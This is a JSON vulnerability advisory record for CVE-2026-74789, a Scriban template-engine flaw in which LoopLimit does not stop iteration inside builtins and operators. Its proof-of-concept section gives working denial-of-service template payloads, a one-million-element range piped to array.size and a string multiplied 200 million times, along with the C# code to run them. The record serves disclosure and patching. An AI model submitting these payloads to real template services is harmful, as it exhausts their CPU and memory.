{"id":"CVE-2026-74789","aliases":["GHSA-c875-h985-hvrc"],"url":"https://o3.security/vulnerability/CVE-2026-74789","summary":"Scriban before 7.0.0 LoopLimit Bypass via Built-in Operations","details":"## Summary\n\nScriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value.\n\n## Details\n\nThe relevant code path is:\n\n- `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46.\n- `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()`, not to internal helper iteration.\n- `array.size` in `src/Scriban/Functions/ArrayFunctions.cs` lines 596–609 calls `list.Cast<object>().Count()` for non-collection enumerables.\n- `1..N` creates a `ScriptRange` from `ScriptBinaryExpression.RangeInclude()` in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 745–748.\n- `ScriptRange` then yields every element one by one **without going through `StepLoop()`** in `src/Scriban/Runtime/ScriptRange.cs`.\n\nThis means a single statement can perform arbitrarily large iteration without being stopped by `LoopLimit`.\n\nThere is also a related memory-amplification path in `string * int`:\n\n- `ScriptBinaryExpression.CalculateToString()` appends in a plain `for` loop in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 301–334.\n\n---\n\n## Proof of Concept\n\n### Setup\n\n```bash\nmkdir scriban-poc3\ncd scriban-poc3\ndotnet new console --framework net8.0\ndotnet add package Scriban --version 6.6.0\n```\n\n### `Program.cs`\n\n```csharp\nusing Scriban;\n\nvar template = Template.Parse(\"{{ 1..1000000 | array.size }}\");\n\nvar context = new TemplateContext\n{\n    LoopLimit = 1\n};\n\nConsole.WriteLine(template.Render(context));\n```\n\n### Run\n\n```bash\ndotnet run\n```\n\n### Actual Output\n\n```\n1000000\n```\n\n### Expected Behavior\n\nA safety limit of `LoopLimit = 1` should prevent a template from performing one million iterations worth of work.\n\n### Optional Stronger Variant (Memory Amplification)\n\n```csharp\nusing Scriban;\n\nvar template = Template.Parse(\"{{ 'A' * 200000000 }}\");\nvar context = new TemplateContext\n{\n    LoopLimit = 1\n};\n\ntemplate.Render(context);\n```\n\nThis variant demonstrates that `LoopLimit` also does not constrain large internal allocation work.\n\n---\n\n## Impact\n\nThis is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on `LoopLimit` as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.\n\nThe issue impacts:\n\n- Template-as-a-service systems\n- CMS or email rendering systems that accept user templates\n- Any multi-tenant use of Scriban with untrusted template content","published":"2026-08-16T13:14:13.792Z","modified":"2026-10-28T02:30:29.988161042Z","cvss":null,"epss":{"score":0.0034,"percentile":0.27458,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"NuGet","name":"scriban","fixedVersion":"7.0.0"},{"ecosystem":"NuGet","name":"Scriban.Signed","fixedVersion":"7.0.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/74xxx/CVE-2026-74789.json"},{"type":"ADVISORY","url":"https://github.com/scriban/scriban/security/advisories/GHSA-c875-h985-hvrc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74789"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/scriban-before-looplimit-bypass-via-built-in-operations"},{"type":"PACKAGE","url":"https://github.com/scriban/scriban"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:29.988161042Z"}}